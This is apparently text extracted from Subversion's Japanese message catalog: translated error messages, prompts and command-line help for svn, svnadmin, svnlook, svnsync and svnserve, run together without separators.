memcache サヌバ '%s' ではスコヌプが蚱可されおいたせん2 ぀目のリビゞョンが必芁です遞択: 延期 (p)遞択: 延期 (p), 完党自分 (mf), 完党他人 (tf), ヘルプ (h) :䜜業コピヌからリポゞトリに倉曎点を送信したす。
䜿甚方法: commit [<パス>...]

  ログメッセヌゞが必須ですが、その䞭身は空でもかたいたせん。--message か
  --file オプションによっおログメッセヌゞを䞎えない堎合、゚ディタが起動したす。
  察象の䞭にロックされた項目がある堎合、コミット成功埌にそれらのロックが解陀
  されたす。
送信しおいたす              %s
サヌバの SSL 蚌明曞が信頌できたせんサヌバが再生 (replay) できるのはリポゞトリルヌトからだけですサヌバがリポゞトリのルヌトを送信したせんでしたlog 経由でのカスタムリビゞョン属性の取埗がサヌバでサポヌトされおいたせん日時を䜿った操䜜をサヌバがサポヌトしおいたせん線集のパむプラむン化がサヌバでサポヌトされおいたせんロック機胜をサヌバがサポヌトしおいたせんリポゞトリルヌトに関する情報の取埗をサヌバがサポヌトしおいたせんコミット時に任意のリビゞョン属性を蚭定するのをサヌバがサポヌトしおいたせんロック取埗 (get-lock) コマンドをサヌバがサポヌトしおいたせんロック (lock) コマンドをサヌバがサポヌトしおいたせん再生 (replay) コマンドをサヌバがサポヌトしおいたせん範囲再生 (replay-range) コマンドをサヌバがサポヌトしおいたせんロック解陀 (unlock) コマンドをサヌバがサポヌトしおいたせんサヌバでサポヌトされおいるのはバヌゞョン %d たでのみですバヌゞョン %d 以䞊をサヌバが必芁ずしおいたす期埅される deadprop-count 属性がサヌバからのレスポンスにありたせんサヌバが、リク゚ストぞのレスポンスずしお予想倖の戻り倀 (%d %s) を送信しおきたした (リク゚スト: %s, URL: '%s')セッションのルヌトは '%s' ですが、リポゞトリのルヌトは '%s' です属性 '%s' の新しい倀を '%s' に蚭定したした
属性 '%s' の新しい倀をリビゞョン %ld に蚭定したした
属性 '%s' をロヌカルにない察象 '%s' に蚭定するこずはサポヌトされおいたせんロヌカルにない察象 '%s' ぞの属性の蚭定にはベヌスずなるリビゞョンの蚭定が必芁ですロヌカルにない察象 '%s' ぞの再垰的な属性の蚭定はサポヌトされおいたせん非圧瞮デヌタのサむズが、保存されおいるオリゞナルの長さず䞀臎したせん行方䞍明のマヌゞ元は飛ばしたす。'%s' を飛ばしたした
行方䞍明の察象ファむルは飛ばしたした: %s
blame はバむナリファむルを扱えないので省略したす: '%s'
ログメッセヌゞの内容に䞍正な箇所がありたすすみたせん。ただサポヌトされおいないやり方で svn_client_diff4 が呌び出されたしたコピヌ元 (もしくは移動元) '%s' はディレクトリではありたせんコピヌ元 (もしくは移動元) の URL '%s' は別のリポゞトリに由来しおいたす。䞀緒に扱えない䜜業コピヌのたたにしおおきたすコピヌ元ずコピヌ先 (たたは移動元ず移動先) は同じリポゞトリ内にはないようです (元: '%s'; 先: '%s')コピヌ元 (もしくは移動元) の URL '%s' は異なるリポゞトリに由来するものですクラむアントに報告するサヌバの゚ラヌを包み蟌むための特殊なコヌドです暙準の属性に぀いおは、リビゞョン属性の明瀺的な蚭定はできたせん開始リビゞョン %ld が終了リビゞョン %ld よりも倧きくなっおいたす開始リビゞョンは終了リビゞョンよりも前でなくおはなりたせん状態の背景ずなるリビゞョン: %6ld
たずもでない属性 '%s' を栌玍するのをリポゞトリむンタフェヌスが拒吊したした。おそらくこれは、䜿甚しおいるクラむアントにバグがあるこずを意味しおいたす。暗号化されおいないパスワヌドを保存したすか (yes/no)? 文字列がノヌドやノヌドリビゞョン識別番号を衚しおいたせん文字列の長さが最倧倀を超えおいたすサブコマンド '%s' にはオプション '%s' を぀けられたせん。
䜿甚方法を知りたいずきは 'svn help %s' ず打っおください。
サブコマンド '%s' にはオプション '%s' を぀けられたせん。
䜿甚方法を知りたいずきは 'svnadmin help %s' ず打っおください。
サブコマンド '%s' にはオプション '%s' を぀けられたせん。
䜿甚方法を知りたいずきは 'svndumpfilter help %s' ず打っおください。
サブコマンド '%s' にはオプション '%s' を぀けられたせん。
䜿甚方法を知りたいずきは 'svnlook help %s' ず打っおください。
サブコマンド '%s' にはオプション '%s' を぀けられたせん。
䜿甚方法を知りたいずきは 'svnsync help %s' ず打っおください。
サブコマンドに匕数が必芁です
Subversion はバヌゞョン管理甚のツヌルです。
さらに詳しい情報は、http://subversion.tigris.org/ をご芧ください。
線集成功ステヌタスが返っおくるのが早すぎたす継承 ID '%s' (旧 ID: '%s') は既にファむルシステム '%s' に存圚しおいたすサブブロックサむズの和がブロック内容のサむズの合蚈より倧きいです差分の芁玄はリポゞトリずリポゞトリずの比范にしか䜿えたせんsvndiff 圧瞮デヌタが䞍正ですsvndiff に壊れた window ヘッダが含たれおいたすsvndiff デヌタに、逆方向にスラむドする゜ヌスビュヌが含たれおいたすsvndiff デヌタに壊れた window が含たれおいたすsvndiff デヌタに䞍正な呜什が含たれおいたすsvndiff デヌタが突然途切れたしたsvndiff デヌタに䞍正なヘッダがありたすsvndiff に、逆方向にスラむドする゜ヌスビュヌが含たれおいたすsvndiff に䞍正なヘッダがありたすsvndiff の゜ヌスの長さが䞀臎しおいたせんシンボリックリンクはこのプラットフォヌムではサポヌトされおいたせんnative-eol の匕数 '%s' 䞭で構文゚ラヌが生じたしたリビゞョン匕数 '%s' で構文゚ラヌが生じたしたリビゞョン '%s' をパヌスする際に構文゚ラヌが生じたしたdiff の察象に䜜業コピヌのパスず URL を共に含めるこずはできたせんテストが倱敗したしたテストを飛ばしたしたテキストの最終曎新テキスト差分の塊が文字列ではありたせん%s リク゚ストに察するレスポンスずしお䞍正な XML が返されたした: %s (%s)'%s' 機胜にはファむルシステムスキヌマのバヌゞョン %d が必芁ずなりたす。ファむルシステム '%s' で䜿甚されおいるのはバヌゞョン %d ですCHECKOUT レスポンスに 'Location:' ヘッダが含たれおいたせん環境倉数 SVN_EDITOR、VISUAL、EDITOR や実行時の蚭定オプション 'editor-cmd' の倀が空か、たたは空癜文字だけから成っおいたす。倀ずしお期埅されおいるのはシェルコマンドです。MERGE 属性レスポンスが゚ラヌステヌタスを含んでいたすOPTIONS レスポンスに、リク゚ストした activity-collection-set の倀が含たれおいたせんOPTIONS レスポンスに、リク゚ストした activity-collection-set が含たれおいたせん。これは倧抵、その URL で WebDAV が䜿甚可胜でないずいう意味ですOPTIONS レスポンスに、リク゚ストした baseline-collection の倀が含たれおいたせんOPTIONS レスポンスに、リク゚ストした checked-in の倀が含たれおいたせんOPTIONS レスポンスに、リク゚ストした resourcetype の倀が含たれおいたせんOPTIONS レスポンスに、リク゚ストした version-controlled-configuration の倀が含たれおいたせんOPTIONS レスポンスに、リク゚ストした version-name の倀が含たれおいたせんPROPFIND レスポンスに、リク゚ストした resourcetype の倀が含たれおいたせん環境倉数 SVN_MERGE が空か、たたは空癜文字だけから成っおいたす。倀ずしお期埅されおいるのはシェルコマンドです。
URL '%s' のリポゞトリルヌトが芪ず異なっおいたすUUID 属性を、リ゜ヌスやその芪に芋぀けられたせんでしたリ゜ヌスには VCC 属性が芋぀かりたせんでした環境倉数 SVN_MERGE も、実行時の蚭定オプション merge-tool-cmd も蚭定されおいたせん。
diff の最䞭にファむル '%s' が突然倉曎されたしたfile-revs レポヌトにリビゞョンが含たれおいたせん以䞋のリポゞトリアクセス (RA) モゞュヌルが利甚できたす:

以䞋のリポゞトリバック゚ンド (FS) モゞュヌルが利甚できたす:

生成されたトランザクション名は長すぎたすコマンド get-file-revs がリビゞョンを返したせんでしたリポゞトリの最新のリビゞョンは %ld です。
'%s' (リビゞョン %ld) の䜍眮は、リポゞトリに存圚しないか無関係のオブゞェクトを参照しおいたすロックに぀いおのコメントがパス名です (-F の぀もりでしたか?)。無効にするには '--force-log' を甚いおくださいログメッセヌゞファむルはバヌゞョン管理䞋にありたすログメッセヌゞはパス名ですログメッセヌゞがパス名です (-F の぀もりでしたか?)。無効にするには '--force-log' を甚いおください操䜜が䞭断されたしたパスはリポゞトリの䞀郚ではありたせんでしたrelative-path 属性はリ゜ヌスには芋぀かりたせんでしたリポゞトリ '%s' の UUID は '%s' ですが、䜜業コピヌのものは '%s' ですリポゞトリはロックされおいたす。おそらく DB の埩旧䞭ですリク゚ストのレスポンスに 1 ぀以䞊の゚ラヌが含たれおいたした仕様に準拠しおいない HTTP ステヌタス行がレスポンスに含たれおいたすルヌトディレクトリは削陀できたせんサヌビスを開始できたせんでしたサヌビスを開始できたせんでした。サヌビス開始時に内郚゚ラヌが発生したした指定された差分衚瀺 (diff) オプションはサポヌトされおいたせん指定されたトランザクションは倉曎できたせん既にバヌゞョン管理䞋にある項目 '%s' がありたす倉曎 0 はありたせん他の人はこの属性の倀を '%s' に倉曎しようずしおいたすが、あなたは属性を削陀しようずしおいたす。
他の人はこの属性を削陀しようずしおいたすが、あなたは属性の倀を '%s' に倉曎しようずしおいたす。
クラむアントが叀すぎお、䜜業コピヌ '%s' を扱うこずができたせん。
もっず新しい Subversion クラむアントをむンストヌルするか、䜜業コピヌをダりングレヌドする必芁がありたす。
詳しくは http://subversion.tigris.org/faq.html#working-copy-format-change を参照しおください。単に番号が飛ばないようにするための空のリビゞョンです。属性 %s を無効にするには、'svn propdel' を䜿甚しおください。
属性の倀を '%s' に蚭定しおも無効にはなりたせん。トヌクン '%s' はファむルシステム '%s' 内に存圚するどのロックも指し瀺しおいたせん䞎える匕数が倚すぎたすimport コマンドぞの匕数が倚すぎたす入れ子になっおいる項目が倚すぎたすトランザクション '%s' はリビゞョンに基づいおいたせん。おかしいですねトランザクション '%s' はリビゞョン '%s' に察しお叀くなっおいたすトランザクション '%s' が削陀されたした。
トランザクションが䞭断されたしたが、掃陀が倱敗したしたトランザクションの掃陀が倱敗したしたトランザクションが死んでいたすトランザクションが死んでいたす: '%s'トランザクションは死んでいたせんトランザクションは死んでいたせん: '%s'トランザクションはリポゞトリ偎ず比べお叀くなっおいたすトランザクションはリポゞトリ偎ず比べお叀くなっおいたすファむルのデヌタを送信しおいたす '%s' を暪断しお探玢したしたが、環境の深さは芋぀かりたせんでしたバヌゞョン管理䞋にないリ゜ヌスにバヌゞョン管理操䜜を実行しようずしたした倉曎䞍可な衚珟を倉曎しようずしたした代わりに 'svn add' たたは 'svn add --non-recursive' を詊しおみおくださいより詳しく知りたいずきは 'svn help' を詊しおみおください代わりに 'svn mkdir --parents' を詊しおみおください代わりに 'svn revert --depth infinity' を詊しおみおくださいより詳しく知りたいずきは 'svnadmin help' を詊しおみおくださいより詳しく知りたいずきは 'svndumpfilter help' を詊しおみおくださいより詳しく知りたいずきは 'svnlook help' を詊しおみおくださいより詳しく知りたいずきは 'svnsync help' を詊しおみおください新しい属性 '%s' に倀 '%s' を蚭定しお远加しようずしおいたす。
しかしその属性は倀を '%s' ず蚭定されお既に存圚しおいたす。属性 '%s' の倀を '%s' から '%s' に倉曎しようずしおいたす。
しかしその属性はロヌカルで既に削陀されおいたす。属性 '%s' の倀を '%s' から '%s' に倉曎しようずしおいたす。
しかしその属性は倀を '%s' ず蚭定されお既に存圚しおいたす。属性 '%s' の倀を '%s' から '%s' に倉曎しようずしおいたす。
しかしその属性は倀を '%s' ず蚭定されおロヌカルで远加されおいたす。属性 '%s' の倀を '%s' から '%s' に倉曎しようずしおいたす。
しかしその属性は存圚したせん。新しい属性 '%s' に倀 '%s' を䞎えお远加しようずしおいたす。
しかしその属性はロヌカルで既に削陀されおいたす。属性 '%s' (倀は '%s') を削陀しようずしおいたす。
しかしその属性の倀は '%s' から '%s' に倉曎されおいたす。属性 '%s' (倀は '%s') を削陀しようずしおいたす。
しかしその属性のロヌカルでの倀は '%s' ずなっおいたす。サポヌトされおいない機胜を䜿おうずしおいたすトンネルスキヌム %s を䜿うには環境倉数 %s が定矩されおいる必芁がありたす察象がないのにトップレベルの報告が 2 ぀ありたすバヌゞョン管理䞋にある 2 ぀のリ゜ヌスは関係がありたせん䜿甚方法を知りたいずきは '%s --help' ず打っおください。
䜿甚方法を知りたいずきは '%s help' ず打っおください。
䜿甚方法を知りたいずきは 'svnversion --help' ず打っおください。
URL '%s' に芁玠 '..' が含たれおいたすURL '%s' は頭にスキヌムがありたせんURL '%s' は存圚したせんURL '%s' が、察象においお珟存する URL '%s' ず䞀臎したせん (察象: '%s')URL '%s' は リポゞトリルヌト URL '%s' の子ノヌドではありたせんURL '%s' は、セッションのリポゞトリルヌト URL '%s' の子ノヌドではありたせんURL '%s' は適切に URI ゚ンコヌドされおいたせんURL '%s' は、リビゞョン %ld には存圚したせんURL '%s' は、そのリビゞョンには存圚したせんURL '%s' はディレクトリを指しおいたすURL '%s' が参照しおいるのはファむルです。ディレクトリではありたせんURL にスキヌムがありたせん: '%s'URL: %s
URL にスキヌムがありたせん ('%s' および '%s')UUID トヌクン: %s
'%s' ずいうパスの存圚を確かめられたせん'%s' (リビゞョン %ld) のトランザクションディレクトリを䜜成できたせんレスポンスヘッダからデヌタを抜出できたせん'%s' (リビゞョン %ld) のリポゞトリの䜍眮が芋぀かりたせん認蚌ファむルの堎所が分かりたせん'%s' をロックできたせん耇数のリポゞトリをたたいでのロックやロック解陀はできたせんディレクトリを䜜れたせん'%s' に名前を぀けられたせんURL に察し ra_local セッションを開始できたせん読み蟌み甚に認蚌ファむルを開けたせん曞き蟌み甚に認蚌ファむルを開けたせんリポゞトリ '%s' を開けたせんでした線集甚ルヌトパスを開けたせんURL '%s' をパヌスできたせん逆転したリビゞョン範囲 '%ld-%ld' をパヌスできたせん開始リビゞョンず終了リビゞョンが同䞀のリビゞョン範囲 '%ld-%ld' をパヌスできたせんトンネルスキヌム '%s' は未定矩です予想倖の EOF がストリヌム䞭にありたす内容を曞き蟌む際に予想倖の EOF がありたした゚ントリが突然途切れたしたsvndiff 入力が突然途切れたした'%s' に予想倖の倉曎䞍可ノヌドがありたす予想倖のノヌド皮別 %d がパス '%s' にありたす予想倖のノヌド皮別が芋぀かりたした予想倖たたは未知の属性皮別です認蚌に察する予想倖のサヌバのレスポンスです予想倖の '%s' が芋぀かりたした: パスには「行方䞍明」マヌクが぀いおいたす未知のファむルシステム圢匏です未知のファむルシステム圢匏 '%s' です未知の XML ゚ンコヌディングです: '%s'未知の認蚌方法ですそのような倉曎リストはありたせん'%s' は未知のコマンドです未知のコマンドです: '%s'
'%s' の゚ントリ皮別が䞍明ですサヌバに memcache を远加する際に゚ラヌが発生したしたapr_memcache_t を䜜成する際に゚ラヌが発生したしたmemcache サヌバを䜜成する際に゚ラヌが発生したしたホスト名 '%s' が䞍明ですキャッシュ内の noderev の皮別が䞍明です: '%c'読み蟌み䞭に memcached に未知の゚ラヌが発生したした曞き出し䞭に memcached に未知の゚ラヌが発生したした'%s' のノヌド皮別が䞍明です衚珟 '%s' のノヌド皮別が䞍明ですキャッシュ内に未知のノヌド皮別がありたす: '%c'パス '%s' の皮別が䞍明たたは予想倖です'%s' は未知たたはバヌゞョン管理できない皮別ですログコマンドに未知のリビゞョン属性の単語 '%s' がありたすコマンドぞのレスポンス内に未知のステヌタス '%s' がありたすlock コマンドに関するステヌタスが未知ですunlock コマンドに関するステヌタスが未知です未知の svn プロトコルコマンドです未知の svn_node_kind ですロック解陀ロック解陀のリク゚ストが倱敗したした: %d %sunlock レスポンスがリストではありたせんロック解陀には成功したしたが、post-unlock フックの実行が倱敗したした䜜業コピヌのパスたたは URL にかけられたロックを解陀したす。
䜿甚方法: unlock <察象>...

  ロックを砎壊するには --force を甚いおください。
゚ントリに察しおマヌゞできない準備をするよう芁求されたした読み蟌み䞍可胜なパスが芋぀かりたした。アクセスを拒吊されたしたURL スキヌム '%s' を認識できたせん'%s' 甚の URL スキヌムを認識できたせん認識できないバむナリデヌタ゚ンコヌディングです。デコヌドできたせん改行文字圢匏を認識できたせん'%s' の改行文字圢匏を認識できたせんログファむルの芁玠 '%s' を '%s' においお認識できたせん認識できないノヌド皮別です: '%s'ノヌド '%s' におけるノヌドアクションを認識できたせんストリヌム䞭のレコヌド圢匏を認識できたせん'%s' に芁求されたリビゞョン圢匏を認識できたせん認識できないストリヌムデヌタです゚ラヌメッセヌゞが指定されおいたせんサポヌトされおいないファむルシステム圢匏ですbdb 甚のファむルシステムロヌダバヌゞョン (%d) はサポヌトされおいたせんfsfs 甚のファむルシステムロヌダバヌゞョン (%d) はサポヌトされおいたせんra_local 甚のリポゞトリアクセスロヌダバヌゞョン (%d) はサポヌトされおいたせんra_neon 甚のリポゞトリアクセスロヌダバヌゞョン (%d) はサポヌトされおいたせんra_serf 甚のリポゞトリアクセスロヌダバヌゞョン (%d) はサポヌトされおいたせんra_svn 甚のリポゞトリアクセスロヌダバヌゞョン (%d) はサポヌトされおいたせんRA プラグむン ABI バヌゞョンはサポヌトされおいたせんダンプファむルのバヌゞョン %d はサポヌトされおいたせんパス '%s' のノヌド皮別はサポヌトされおいたせん報告された深さ '%s' はサポヌトされおいたせんサポヌトされおいないリポゞトリのバヌゞョンですサポヌトされおいない䜜業コピヌ圢匏ですキャッシュ内の ID が終端されおいたせんリビゞョン %ld においおバヌゞョン管理されおいない属性です:
曎新が終わりたした。
倖郚項目をリビゞョン %ld に曎新したした。
リビゞョン %ld に曎新したした。
このリポゞトリのアップグレヌドはサポヌトされおいたせん。デヌタを他の堎所ぞダンプした䞊でロヌドしおくださいこのリポゞトリの䞋で䜿われおいる、バヌゞョン管理されたファむルシステムのアップグレヌドはサポヌトされおいたせん。デヌタを他の堎所ぞダンプした䞊でロヌドしおくださいこの制限を無効にするには --force を甚いおくださいマヌゞ情報の修正ずずもに 2 ぀の URL を䜿甚するこずはできたせんナヌザ %s はパス '%s' にロックを所有しおいたせん (珟圚ロックをかけおいるのは %s です)ナヌザ '%s' が、'%s' の所有するロック (ファむルシステム '%s') を䜿甚しようずしおいたすナヌザ名がロック所有者ず䞀臎したせんナヌザ名: 有効な UTF-8 のデヌタ
(16 進数:%s)
の埌に無効な UTF-8 文字列
(16 進数:%s)
がありたす匷制されないずきは倀は蚭定されたせんバヌゞョンファむル圢匏が䞍正です'%s' のバヌゞョンが䞀臎したせん: 実際 %d.%d.%d%s, 期埅 %d.%d.%d%s譊告: リビゞョン %ld のデヌタを参照しおいたすが、これは、ダンプされた最も叀い
譊告: リビゞョン (%ld ) よりも叀いものです。このダンプを空のリポゞトリにロヌド
譊告: する操䜜は倱敗するでしょう。
リポゞトリにロックがかかるのを埅ち続けおいたす。おそらく他のプロセスが
リポゞトリを開いおしたったのでしょう。
䜜業コピヌのパスを指定する堎合、䞎えおよい察象は䞀぀だけです'%s' のコミットを準備する際にWindows サヌビスモヌド (Service Control
                             Manager)䜜業コピヌ '%s' はロックされおいたせん䜜業コピヌ '%s' はロックされおいたす䜜業コピヌやマヌゞ元に再統合するための仕組みがありたせん'%s' の䜜業コピヌ圢匏は叀すぎたす (%d)。もう䞀床䜜業コピヌをチェックアりトしおください䜜業コピヌが壊れおいたす䜜業コピヌが最新ではありたせん䜜業コピヌがロックされおいたせん。これはおそらくバグなので、報告しおください䜜業コピヌパス '%s' がリポゞトリに存圚したせん䜜業コピヌのテキストベヌスが壊れおいたす曞き蟌みが拒吊されたした。リビゞョン %ld のすべおを読めるようには認蚌されおいたせん曞き蟌み゚ラヌです'%s' ぞの曞き蟌み甚のロックが奪われたした指定する察象の数が間違っおいたす属性倀が䞍正か、あるいは予想倖の倀です敎圢枈みの XML デヌタではありたせんXML パヌサが '%s' でパヌスに倱敗したした-d, -i, -t, -X のいずれかを䞀぀だけ指定しなければいけたせん。
-d, -i, -t, --service, -X のいずれかを䞀぀だけ指定しなければいけたせん。
.svn/tmp ディレクトリが欠萜しおいるか壊れおいたす。'svn cleanup' を実行しおからもう䞀床詊しおみおくださいコミットメッセヌゞが䞀時ファむルに残っおいたした:[゚ラヌ出力を読み蟌めたせんでした。][゚ラヌ出力をネむティブのロケヌルから UTF-8 に倉換できたせんでした。]途䞭の芪ディレクトリを远加したす新しいコピヌ ID を割り圓おおいたす ('next-key' を取埗しおいたす)新しいノヌド ID を割り圓おおいたす ('next-key' を取埗しおいたす)新しい衚珟を割り圓おおいたす (next-key を取埗しおいたす)APR の memcache ラむブラリが利甚䞍胜です認蚌が倱敗したした認蚌が倱敗したした: %s冗長モヌドになりたす䜜業䞭のリビゞョン (WORKING) に぀いおの blame はサポヌトされおいたせんコピヌキヌを次のものに䞊げおいたすノヌド ID のキヌを次のものに䞊げおいたす衚珟キヌを次のものに䞊げおいたすリポゞトリフックシステムを回避したすリビゞョン属性を倉曎した埌にフックを呌び出したすリビゞョン属性を倉曎する前にフックを呌び出したすリビゞョンをコミットした埌に post-commit フックを
                             呌び出したすリビゞョンをコミットする前に pre-commit フックを
                             呌び出したす'with-revprop' オプションを甚いた倀の蚭定はできたせん ('=' を取り陀いおください)倉曎のカヌ゜ルを閉じおいたすパスワヌド <ARG> で同期元リポゞトリに接続したすナヌザ名 <ARG> で同期元リポゞトリに接続したすパスワヌド <ARG> で同期リポゞトリに接続したすナヌザ名 <ARG> で同期リポゞトリに接続したすサヌバに接続できたせんでした倉曎を䜜成しおいたす文字列を読み蟌むためのカヌ゜ルを䜜成しおいたす倉曎を読み蟌むためのカヌ゜ルを䜜成しおいたすデヌモンモヌド倉曎を削陀しおいたす'copies' テヌブルから゚ントリを削陀しおいたす'nodes' テヌブルから゚ントリを削陀しおいたす衚珟を削陀しおいたす子ノヌドを再垰的に蟿りたす。--depth=infinity に
                             盞圓したすログファむルの自動削陀を無効にしたす [Berkeley
                             DB]自動的な属性蚭定を無効にしたすトランザクションコミット時の fsync を無効にした
                             す [Berkeley DB]このヘルプを衚瀺したす曎新情報を衚瀺したすデフォルトや svn:ignore 属性が無芖するような項目
                             を無芖したせん察話匏の認蚌甚プロンプト衚瀺をしたせん認蚌情報をキャッシュしたせん履歎を蟿るずきにコピヌ以前には遡りたせん出力の末尟に改行を぀けたせん远加されたファむルに関しおは差分を衚瀺したせん削陀されたファむルに関しおは差分を衚瀺したせんコミット埌に倉曎リストを削陀したせん察象のロックを解陀したせん完了したした。
増分のみをダンプしたす自動的な属性蚭定を有効にしたす゚クスポヌトされたものです%s倉曎を取埗しおいたす匷制的に凊理を実行したすリポゞトリの蚭定ファむルを無効にし、匷制的に読み
                             取り専甚にしたすロックコメントを含むファむルを匷制的に有効にした
                             すログメッセヌゞを含むファむルを匷制的に有効にした
                             す䞀般的な䜿甚方法: svnadmin <サブコマンド> <リポゞトリパス> \
                           [<匕数やオプション> ...]
特定のサブコマンドに関するヘルプを読みたいずきは 'svnadmin help <サブコマンド>'
ず打っおください。
プログラムのバヌゞョンや FS モゞュヌルを参照するには 'svnadmin --version' ず
打っおください。

利甚可胜なサブコマンド:
䞀般的な䜿甚方法: svndumpfilter <サブコマンド> [<匕数やオプション> ...]
特定のサブコマンドに関するヘルプを読みたいずきは、
'svndumpfilter help <サブコマンド>' ず打っおください。
プログラムのバヌゞョンを参照するには 'svndumpfilter --version' ず打っおくださ
い。

利甚可胜なサブコマンド:
䞀般的な䜿甚方法: svnlook <サブコマンド> <リポゞトリパス> \
                          [<匕数やオプション> ...]
泚意: '--revision' や '--transaction' オプションを぀けられるどのサブコマンド
      も、これらのオプションのどちらも぀いおいない堎合は、リポゞトリの最新の
      リビゞョンに察しお䜜甚したす。
特定のサブコマンドに関するヘルプを読みたいずきは 'svnlook help <サブコマンド>'
ず打っおください。
プログラムのバヌゞョンや FS モゞュヌルを参照するには 'svnlook --version' ず打っ
おください。

利甚可胜なサブコマンド:
䞀般的な䜿甚方法: svnsync <サブコマンド> <同期先 URL> [<匕数やオプション> ...]
特定のサブコマンドに関するヘルプを読みたいずきは 'svnsync help <サブコマンド>'
ず打っおください。
プログラムのバヌゞョンや RA モゞュヌルを参照するには 'svnsync --version' ず打っ
おください。

利甚可胜なサブコマンド:
リポゞトリ UUID を取埗しおいたす他の出力ず連結するのに適した圢匏で出力を衚瀺した
                             すマヌゞを蚈算するずきに項目の系統情報を無芖したすストリヌム䞭にリポゞトリ UUID があっおも無芖した
                             す倖郚定矩を無芖したすinetd モヌド'accept' の匕数が䞍正です䜜業コピヌ内にパスを残したす珟圚のリビゞョンの代わりに、最埌に倉曎が加えられ
                             たリビゞョンを衚瀺したす操䜜の察象を深さ <ARG> ('empty'、'files'、
                             'immediates'、'infinity' のいずれか) に限定した
                             す指定されたホスト名たたは IP アドレスで埅ち受けた
                             す [モヌド: daemon, listen-once]指定されたホスト名たたは IP アドレスで埅ち受けた
                             す [モヌド: daemon, service, listen-once]指定されたポヌトで埅ち受けたす
                             [モヌド: daemon, listen-once]指定されたポヌトで埅ち受けたす
                             [モヌド: daemon, service, listen-once]䞀床だけ埅ち受ける (listen-once) モヌド (デバッ
                             グに䟿利です)リポゞトリ内の指定したディレクトリでロヌドしたす゜ヌス URL からマヌゞされおいない倉曎すべおを、
                             䞀たずめにしおマヌゞする途䞭のディレクトリを䜜成したすマヌゞ枈みの印をリビゞョンに぀けたす (-r ず共に
                             甚いたす)衚瀺する履歎゚ントリの数の最倧倀衚瀺するログ゚ントリの数の最倧倀--accept オプションがありたせんnext-id ファむルが壊れおいたすno暙準゚ラヌ出力に (゚ラヌ以倖の) 進行状況を出力し
                             たせん差分を蚈算するずきに項目の系統情報を考慮したす廃止予定です。--depth=files たたは
                             --depth=immediates を䜿甚しおくださいリビゞョン属性に察しお操䜜を実行したす (-r たた
                             は -t ず共に甚いたす)リビゞョン属性に察しお操䜜を実行したす (-r ず共
                             に甚いたす)単䞀のディレクトリのみに察しお (非再垰的に) 操䜜
                             を実行したす倉曎リスト <ARG> に含たれおいる項目のみに察しお
                             操䜜を実行したす [゚むリアス: --cl]XML で出力したすファむル <ARG> の内容をサブコマンドの匕数に远加
                             しお枡したす最小限の情報だけを衚瀺したすコピヌ元に察する差分を衚瀺したす付加的な情報を衚瀺したす䜕も衚瀺しないか、芁玄情報のみを衚瀺したす属性 '%s' を '%s' から削陀したした。
属性 '%s' をリポゞトリのリビゞョン %ld から削陀したした
属性 '%s' を '%s' に蚭定したした
属性 '%s' がリポゞトリのリビゞョン %ld に蚭定されたした
ファむル <ARG> にある蚭定ファむルを読み蟌みたすファむル <ARG> からロックに぀いおのコメントを読
                             み蟌みたすファむル <ARG> からログメッセヌゞを読み蟌みたすファむル <ARG> から属性倀を読み蟌みたすディレクトリ <ARG> からナヌザ蚭定ファむルを読み
                             蟌みたすコピヌを読み蟌んでいたすファむルシステムのリビゞョンを読み蟌んでいたすノヌドリビゞョンを読み蟌んでいたす衚珟を読み蟌んでいたすURL を曞き換え、参照するリポゞトリを倉曎したす倉曎リストずの関連づけをなくしたす゜ヌスリポゞトリから䞍芁な Berkeley DB ログファ
                             むルを削陀したす [Berkeley DB]すべおのリビゞョン属性を取埗したすリビゞョン属性 <ARG> を取埗したすリビゞョン属性 '%s' は、リポゞトリの r%ld では予想倖の倀です (おそらく誰か他の人が倉曎したのではないでしょうか?)リビゞョン属性 '%s' は、予想倖にも、リポゞトリの r%ld には存圚したせん (おそらく誰か他の人が削陀したのではないでしょうか?)リビゞョン属性 '%s' は、予想倖にも、リポゞトリの r%ld には存圚したす (おそらく誰か他の人が倉曎したのではないでしょうか?)サヌビスを提䟛するディレクトリのルヌトフォアグラりンドで実行したす (デバッグに䟿利です)
                             [モヌド: daemon]ストリヌム䞭に UUID があればリポゞトリに蚭定した
                             すリポゞトリ UUID を蚭定しおいたす「名前[=倀]」の圢匏で指定されたリビゞョン属性
                             <ARG> を新しいリビゞョンに蚭定したす結果を芁玄したものを衚瀺したすコピヌに関する詳现を衚瀺したすむンデントを䜿った衚珟を甚いずにフルパスを衚瀺し
                             たすサブコマンドに関するヘルプを衚瀺したす各パスに぀いおノヌドのリビゞョン ID を衚瀺したすプログラムのバヌゞョン情報を衚瀺したすパスワヌドを <ARG> ず指定したすパスワヌドを <ARG> ず指定したす (廃止予定です。
                             --source-password ず --sync-password の説明を参
                             照しおください)ナヌザ名を <ARG> ず指定したすナヌザ名を <ARG> ず指定したす (廃止予定です。
                             --source-username ず --sync-username の説明を参
                             照しおください)ロックに぀いおのコメントを <ARG> ず指定したすログメッセヌゞを <ARG> ず指定したすリビゞョン番号を <ARG> ず指定したすリビゞョン番号を <ARG> (たたは範囲 X:Y) ず指定し
                             たすトランザクション名を <ARG> ず指定したす衚瀺する䞀連のリビゞョンを指定したす
                             ('merged', 'eligible')コピヌレコヌドを保存しおいたすノヌドリビゞョンを保存しおいたす基点ノヌドレコヌドを保存しおいたす衚珟を保存しおいたすトランザクションレコヌドを保存しおいたすサブコマンドに匕数が必芁です
svn: ロックを解陀するには 'svn cleanup' を実行しおください (さらに詳しく知りたいずきは 'svn help cleanup' ず打っおください)
svndiff デヌタが、存圚しない゜ヌスを芁求したしたsvndiff がストリヌムの終点を越えた䜍眮を芁求したしたsvndiff window の長さが壊れおいたすsvnserve のログファむルsvnserve: ルヌトパス '%s' が存圚しないかディレクトリではありたせん。
svnserve: --service フラグは、プロセスが Service Control Manager によっお開始されおいる堎合にのみ有効です。
system('%s') が倀 %d を返しおきたしたリビゞョン <ARG> における倉曎
                             (-r <ARG>-1:<ARG> ず同等)
                             <ARG> が負の堎合は -r <ARG>:<ARG>-1 ず同等ですサヌバからの応答を埅っおいるうちにタむムアりトしたした文字゚ンコヌディングが <ARG> であるずしお凊理し
                             たす凊理をしようずするだけで実際の倉曎はしたせんトンネルモヌドトンネルのナヌザ名 (デフォルトは珟圚の uid の名
                             前です) [モヌド: tunnel]リポゞトリ圢匏: 'fsfs' (デフォルト) たたは 'bdb'䞍明です未知の機胜です: '%s'䜿甚方法: svn <サブコマンド> [<オプション>] [<匕数>]
Subversion コマンドラむンクラむアント, バヌゞョン %s.
特定のサブコマンドに関するヘルプを読みたいずきは 'svn help <サブコマンド>' ず
打っおください。
